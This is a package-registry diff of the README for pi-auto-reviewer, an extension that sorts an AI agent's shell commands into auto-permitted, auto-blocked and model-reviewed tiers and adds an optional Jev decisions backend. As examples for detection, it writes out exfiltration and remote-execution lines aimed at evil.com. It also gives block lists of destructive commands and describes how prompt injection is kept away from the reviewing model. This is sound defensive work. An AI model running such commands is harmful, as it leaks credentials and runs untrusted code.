pi-auto-reviewer 1.0.5 → 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,143 +1,172 @@
1
1
  # pi-auto-reviewer
2
2
 
3
- Automatically review shell commands (PowerShell or bash) that your pi agent wants to execute — akin to Codex "Auto-review" and Claude Code "auto mode".
3
+ A pi extension that automatically reviews shell commands (bash or PowerShell) before they run — akin to Codex "Auto-review" and Claude Code "auto mode".
4
+
5
+ **TypeSafe’s Jev is integrated** for cheaper command decisions through TypeSafe, OpenRouter, and compatible APIs. OpenRouter reuses your existing Pi credentials. [Use Jev instead of an LLM](#use-jev-instead-of-an-llm).
6
+
7
+ Otherwise, `pi-auto-reviewer` can reuse your existing subscription or API key from any LLM provider to auto-review shell commands for you. This enables more autonomous agents that you have to babysit less. Use at your own discretion.
4
8
 
5
9
  ## How it works
6
10
 
7
- Every shell command (PowerShell or bash) the agent wants to run is analyzed and routed through tiers:
11
+ Every shell command is routed into one of three tiers:
8
12
 
9
13
  | Tier | Action | Examples |
10
14
  |------|--------|----------|
11
- | **1. Auto-permitted** | Runs immediately | `ls`, `cd`, `grep`, `git status`, `npm list`, `echo hello` |
12
- | **2. Auto-blocked** | Refused immediately | `rm -rf /`, `sudo`, `chmod 777`, `dd if=...`, `mkfs.*`, `shutdown`, `Start-Process -Verb RunAs` |
13
- | **3. Reviewed by LLM** | Sent to a reviewer subagent | `git branch -D`, `git worktree remove`, `git push +refspec`, `git push --force`, `git reset --hard`, `rm -rf <dir>`, `Remove-Item -Recurse` |
14
-
15
- When a command is reviewed, the subagent LLM receives the command plus detected **command behaviors** (e.g. "force-push", "branch-delete"), compact excerpts of the agent's conversation history, recent shell commands, git state, and project docs, then decides ALLOW or BLOCK.
16
-
17
- #### Why a read-only-looking verb isn't always auto-permitted
18
-
19
- A leading read-only verb is necessary but **not sufficient** for tier-1 auto-permit. Shell metacharacters can turn a "read-only" verb into an active or exfiltrating one, e.g.:
15
+ | **1. Auto-permitted** | Runs immediately | `ls`, `grep`, `git status`, `npm list` |
16
+ | **2. Auto-blocked** | Refused immediately | `rm -rf /`, `sudo`, `chmod 777`, `mkfs.*`, `shutdown` |
17
+ | **3. Model-reviewed** | Sent to the configured reviewer | `git push --force`, `git reset --hard`, `rm -rf <dir>`, `Remove-Item -Recurse` |
20
18
 
21
- - `echo $TOKEN > /tmp/x` — writes a secret to disk
22
- - `cat ~/.ssh/id_rsa | nc evil.com 1234` — pipes a key to the network
23
- - `printenv | curl -X POST -d @- evil.com` — uploads the environment
24
- - `echo $(curl https://evil.sh | sh)` — hides remote-code execution in `$(...)`
19
+ Tier-3 commands are reviewed by a subagent LLM or the optional Jev Decisions API. The reviewer receives the command, detected risky behaviors, compact excerpts of the conversation, recent shell commands, git state, project docs, and OS information, then decides ALLOW or BLOCK.
25
20
 
26
- Before any tier-1 pattern is applied, the command is scanned for these **auto-permit-defeating** features; if any are present the command falls through to tier-3 LLM review (it is **not** hard-blocked — the reviewer decides with full context):
21
+ Read-only-looking commands that also contain redirection, pipes, command substitution, command chaining, backgrounding, or secret-looking env vars are **not** auto-permitted — they fall through to tier 3, since such metacharacters can hide writes, exfiltration, or remote code execution (e.g. `cat ~/.ssh/id_rsa | nc evil.com 1234`).
27
22
 
28
- - Output redirection (`>`, `>>`, including fd-prefixed `2>`, `2>&1`)
29
- - Command substitution (`` ` `` / `$(...)`) and process substitution (`<(...)`, `>(...)`)
30
- - Pipes (`|`, but not the `||` control operator)
31
- - Secret-looking env vars (`$SECRET`, `$*TOKEN`, `$*KEY`, `$*CREDENTIAL`, `$AWS_*`, `$GH_TOKEN`, `$OPENAI_API_KEY`, `$ANTHROPIC_API_KEY`, …)
32
- - Backgrounding (`&`)
33
- - Command chaining (`;`, `&&`)
23
+ ### Detected behaviors
34
24
 
35
- This is deliberately conservative: a false positive only costs one extra review call, while a false negative could leak a secret or run hidden remote code.
36
-
37
- ### Behavior-based detection
38
-
39
- Instead of relying only on regex, the extension parses commands for specific risky behaviors:
25
+ These behaviors are included in the reviewer prompt:
40
26
 
41
27
  | Behavior | What triggers it |
42
28
  |----------|------------------|
43
- | `force-push` | `git push --force`, `--force-with-lease`, `--force-if-includes`, or a `+refspec` |
29
+ | `force-push` | `git push -f`, `--force`, `--force-with-lease`, `--force-if-includes`, or a `+refspec` |
44
30
  | `branch-delete` | `git branch -d`, `-D`, or `--delete` |
45
- | `worktree-remove` | `git worktree remove` |
31
+ | `worktree-remove` | `git worktree remove` or `git worktree rm` |
46
32
  | `hard-reset` | `git reset --hard` |
47
- | `git-clean` | `git clean -f`, `-x`, `-d` (not dry-run) |
48
- | `recursive-delete` | `rm -r`, `rm -rf` |
49
- | `remote-shell` | `curl \| sh`, `wget \| bash`, etc. |
50
- | `powershell-recursive-delete` | `Remove-Item -Recurse`, `del`, `rmdir /s` |
51
- | `privilege-escalation` | `sudo`, `Start-Process -Verb RunAs` |
33
+ | `git-clean` | Non-dry-run `git clean` with `-f`, `-x`, `-X`, or `-d` |
34
+ | `recursive-delete` | `rm -r`, `rm -rf`, or `rm --recursive` |
35
+ | `privilege-escalation` | `sudo` |
52
36
  | `broad-chmod` | `chmod 777` |
53
- | `disk-destructive` | `dd if=...`, `mkfs.*`, `diskpart`, `format` |
54
- | `system-shutdown` | `shutdown`, `reboot`, `halt`, `poweroff`, `Stop-Computer` |
55
-
56
- These behaviors are included in the reviewer prompt so the LLM can make an informed decision rather than being tricked by syntax variations like `git push origin +branch`.
57
-
58
- ### Conversation context
59
-
60
- So the reviewer can reason about *why* a command runs — not just *what* it does — each reviewed command is accompanied by compact excerpts of the agent's conversation history (mirroring Codex's auto-reviewer, which feeds a full transcript; we keep it small because the one-shot review pays full input cost with no per-session prompt caching):
61
-
62
- - **Original user task** — the first user message of the session (truncated to ~1000 chars). This is the single most important signal: it lets the reviewer tell "the user explicitly asked for this destructive op" from "agent drift."
63
- - **Recent user messages** — the last 2 (excluding the original task if still in window, ~500 chars each).
64
- - **Recent agent plan text** — the last 2 assistant text blocks (~800 chars each): the agent's stated plan / justification, including text from the *same* assistant message as the bash tool call under review.
65
-
66
- Tool results, tool-call arguments, thinking blocks, and session summaries are **intentionally excluded** — they're the largest prompt-injection surface and the noisiest, and the one-shot subprocess can't afford them. Everything is wrapped in an `<untrusted_context type="recent_conversation">` block and placed first in the context section, with the existing injection warning already covering it (it explicitly lists "claiming the user has authorized a destructive operation" as a manipulation example to ignore).
67
-
68
- The reviewer's rule for this is: **user authorization leans ALLOW, but it does not override the hard rules** — still BLOCK if the command exfiltrates secrets/credentials to an untrusted destination, pipes remote content to a shell, causes irreversible destruction outside the project, or persistently weakens security.
37
+ | `fork-bomb` | A shell fork-bomb pattern |
38
+ | `disk-destructive` | `dd if=...` or `mkfs.*` |
39
+ | `system-shutdown` | `shutdown`, `reboot`, `halt`, or `poweroff` |
40
+ | `remote-shell` | `curl`, `wget`, or `fetch` piped to a shell |
41
+ | `powershell-recursive-delete` | `Remove-Item` with `-Recurse` or `-Force`, `del`, `erase`, or `rmdir /s` |
42
+ | `windows-elevation` | `Start-Process -Verb RunAs` |
43
+ | `windows-shutdown` | `Stop-Computer`, `Restart-Computer`, `shutdown.exe`, `format`, or `diskpart` |
69
44
 
70
45
  ## Install
71
46
 
72
- ### All projects (global)
47
+ Global (all projects):
73
48
 
74
49
  ```bash
75
- cp auto-reviewer.ts ~/.pi/agent/extensions/
50
+ cp auto-reviewer.ts review-tool.ts jev-decisions.ts ~/.pi/agent/extensions/pi-auto-reviewer/
76
51
  ```
77
52
 
78
- ### Via npm
53
+ Via npm:
79
54
 
80
55
  ```bash
81
56
  pi install npm:pi-auto-reviewer
82
57
  ```
83
58
 
84
- ### Single project
85
-
86
- Copy the extension into your project:
59
+ Single project:
87
60
 
88
61
  ```bash
89
- cp auto-reviewer.ts .pi/extensions/
62
+ cp auto-reviewer.ts review-tool.ts jev-decisions.ts .pi/extensions/
90
63
  ```
91
64
 
92
- Pi auto-discovers extensions in `.pi/extensions/` when the project is trusted.
65
+ Pi loads extensions from `.pi/extensions/` only after the project is trusted.
93
66
 
94
- ### Single session
67
+ Single session:
95
68
 
96
69
  ```bash
97
70
  pi -e ./auto-reviewer.ts
98
71
  ```
99
72
 
100
- On native Windows PowerShell, use the matching PowerShell copy commands and extension directory paths for your Pi install. The command rules include common PowerShell read-only commands such as `Get-Location`, `Get-ChildItem`, `Get-Content`, and `Test-Path`, plus Windows destructive/elevation patterns such as `Remove-Item -Recurse`, `cmd /c rmdir /s`, and `Start-Process -Verb RunAs`.
73
+ All three `.ts` files must sit side by side. `jev-decisions.ts` provides the Jev HTTP driver. For the pi backend, `review-tool.ts` provides the structured decision channel; without it the reviewer falls back to text parsing only. On Windows PowerShell, use the matching copy commands and extension paths.
101
74
 
102
75
  ## Usage
103
76
 
104
- Once installed, it works automatically — no configuration required. Every shell command the agent tries to run will be reviewed.
77
+ Works automatically, no configuration required.
105
78
 
106
- ### What to expect
79
+ - Tier 1 runs without visible delay.
80
+ - Tier 2 is blocked with a notification explaining why.
81
+ - Tier 3 handles destructive or unknown commands and pauses with `Reviewing: <command>...` (up to 60s per attempt, one automatic retry).
82
+ - Allowed: command runs, `Auto-reviewer: ✓ <reason>`
83
+ - Blocked: command refused, `Auto-reviewer: ✗ <reason>`
84
+ - Reviewer failed twice: interactive mode prompts you manually; non-interactive mode (`pi -p`, JSON mode) blocks the command.
107
85
 
108
- - **Safe commands** (Tier 1) run without any visible delay.
109
- - **System-catastrophic commands** (Tier 2) are blocked with a notification explaining why.
110
- - **Destructive or unknown commands** (Tier 3) pause while the reviewer LLM decides (up to 60s per attempt, with one automatic retry on failure). You'll see a status message: `Reviewing: <command>...`
86
+ Each review attempt writes the command and full reviewer output to the OS temporary directory under `pi-reviewer-debug/` (`/tmp/pi-reviewer-debug/` on typical Linux systems). The newest 20 files are kept. Jev failures log the error message rather than provider error bodies.
111
87
 
112
- - If **allowed**: the command runs and you see `Auto-reviewer: ✓ <reason>`
113
- - If **blocked**: the command is refused and you see `Auto-reviewer: ✗ <reason>`
114
- - If the reviewer **fails** on both attempts (timeout, error): in interactive mode you're prompted to allow or deny manually; in non-interactive mode the command is blocked.
88
+ ## Configuration
115
89
 
116
- ### Non-interactive mode
90
+ By default the reviewer uses your normal pi provider and model. To route it elsewhere, set both variables:
117
91
 
118
- In print mode (`pi -p`) or JSON mode, reviewed commands are still sent to the reviewer LLM. If review fails (timeout, error), the command is blocked because there is no UI to fall back on.
92
+ ```bash
93
+ export PI_REVIEWER_PROVIDER=opencode-go
94
+ export PI_REVIEWER_MODEL=deepseek-v4-flash
95
+ ```
119
96
 
120
- ## Configuration
97
+ Or persistently via `autoReviewer` in `~/.pi/agent/settings.json` (user) or `.pi/settings.json` (project, trusted only):
98
+
99
+ ```json
100
+ {
101
+ "autoReviewer": {
102
+ "provider": "opencode-go",
103
+ "model": "deepseek-v4-flash"
104
+ }
105
+ }
106
+ ```
107
+
108
+ Provider and model resolve as a pair (env → trusted project → user → pi default); a layer specifying only one of the two is ignored entirely.
121
109
 
122
- By default, reviewed commands use your normal pi inference provider and model. You can route reviewer calls to a specific provider and model with environment variables:
123
110
 
124
- | Variable | Purpose |
125
- |----------|---------|
126
- | `PI_REVIEWER_PROVIDER` | Inference provider for the reviewer subprocess, for example `opencode-go` |
127
- | `PI_REVIEWER_MODEL` | Model for the reviewer subprocess, for example `deepseek-v4-flash` |
111
+ ### Use Jev instead of an LLM
128
112
 
129
- Set both provider/model variables together:
113
+ The LLM reviewer remains the default. Set `backend` to `"jev"` to send tier-3 commands to Jev’s Decisions API. Jev uses the same review rules and context, then returns a typed `allow` or `block` choice. The displayed reason is a fixed description of that choice, rather than a generated explanation.
114
+
115
+ **OpenRouter:** use the credential already configured in Pi. No new key or login is needed:
130
116
 
131
117
  ```bash
132
- export PI_REVIEWER_PROVIDER=opencode-go
133
- export PI_REVIEWER_MODEL=deepseek-v4-flash
134
- pi
118
+ export PI_REVIEWER_BACKEND=jev
119
+ export PI_REVIEWER_PROVIDER=openrouter
120
+ export PI_REVIEWER_MODEL=typesafe/jev-1.13
135
121
  ```
136
122
 
137
- `export` only affects the current shell session. To keep these settings across new terminals, add the `export` lines to your shell startup file, for example `~/.bashrc` on many Linux and WSL setups. Other shells use different files, such as `~/.zshrc` for zsh.
123
+ Or set the same options in `autoReviewer` in your user or trusted project settings `settings.json`:
124
+
125
+ ```json
126
+ {
127
+ "autoReviewer": {
128
+ "backend": "jev",
129
+ "provider": "openrouter",
130
+ "model": "typesafe/jev-1.13"
131
+ }
132
+ }
133
+ ```
134
+
135
+ **TypeSafe directly:** use a separate TypeSafe key, or omit `TYPESAFE_API_KEY` if you already configured the `typesafe` provider’s credential in Pi:
136
+
137
+ ```bash
138
+ export PI_REVIEWER_BACKEND=jev
139
+ export PI_REVIEWER_PROVIDER=typesafe
140
+ export PI_REVIEWER_MODEL=jev-latest
141
+ export TYPESAFE_API_KEY="<your TypeSafe key>"
142
+ ```
143
+
144
+ **Other compatible APIs:** set the Pi provider ID, model, and full endpoint. Omit `apiKeyEnv` to reuse that provider’s Pi credential, or name an environment variable for a separate key:
145
+
146
+ ```json
147
+ {
148
+ "autoReviewer": {
149
+ "backend": "jev",
150
+ "provider": "my-gateway",
151
+ "model": "jev-latest",
152
+ "endpoint": "https://gateway.example/v1/decisions",
153
+ "apiKeyEnv": "GATEWAY_API_KEY"
154
+ }
155
+ }
156
+ ```
157
+
158
+ The presets use TypeSafe’s [`/v1/systemone`](https://docs.typesafe.ai/api) and OpenRouter’s [`/api/alpha/decisions`](https://openrouter.ai/docs/guides/community/jev-tutorial). Pi handles saved credentials, configured key sources, and OAuth refresh. Jev does not need to appear in Pi’s chat-model catalog. Credentials come only from the selected provider; a subscription login works only if its Decisions endpoint accepts it.
159
+
160
+ `PI_REVIEWER_ENDPOINT` and `PI_REVIEWER_API_KEY_ENV` are the environment equivalents of `endpoint` and `apiKeyEnv`. An explicit key variable takes precedence over Pi credentials and `TYPESAFE_API_KEY`; an empty or missing value fails review. Keep keys out of settings files. Changing a preset endpoint’s origin requires an explicit `apiKeyEnv`. Use HTTPS for remote services; redirects are refused.
161
+
162
+ All reviewer options follow the provider/model pair’s precedence: env → trusted project → user. Include `backend` in that same layer. A complete environment pair replaces settings-file options; incomplete pairs and untrusted project settings are ignored. Omit `backend` or set it to `"pi"` to use the LLM reviewer; unknown backend names fail review.
163
+
164
+ Tiers 1 and 2 are unchanged. Jev validates the choice, confidence, and probability distribution; malformed, inconsistent, or tied answers fail review. There is no additional confidence threshold. The existing 60-second deadline, one retry, and manual-prompt/noninteractive-block fallback apply.
165
+
166
+ ## Customizing rules
138
167
 
139
- If either `PI_REVIEWER_PROVIDER` or `PI_REVIEWER_MODEL` is missing or empty, the reviewer uses pi's configured default provider and model. This avoids accidentally selecting a model name from the wrong provider when the same model id is available in more than one place.
168
+ Edit `auto-reviewer.ts`: `AUTO_PERMITTED` / `AUTO_BLOCKED` for tier patterns, `defeatsAutoPermit()` and `SECRET_ENV_VAR` for what forces review, `analyzeCommand` and `buildReviewPrompt()` for behavior detection and the reviewer prompt.
140
169
 
141
- ## Customizing review rules
170
+ ---
142
171
 
143
- Edit `AUTO_PERMITTED` and `AUTO_BLOCKED` arrays in `auto-reviewer.ts` to add or remove patterns. Tune `defeatsAutoPermit()` and the `SECRET_ENV_VAR` pattern to change which shell metacharacters / secret-looking variables force a read-only-looking command through to LLM review. Edit `getConversationContext()` and its `MAX_*_LEN` / `*_LIMIT` constants to change how much of the conversation history the reviewer sees. Edit `buildReviewPrompt()` and the behavior analyzer (`analyzeCommand` and helpers) to change how commands are classified and what the reviewer LLM sees.
172
+ The `autoReviewer` settings support is based on [PR #2](https://github.com/vinzenzu/pi-auto-reviewer/pull/2) by [JiChenSSG](https://github.com/JiChenSSG).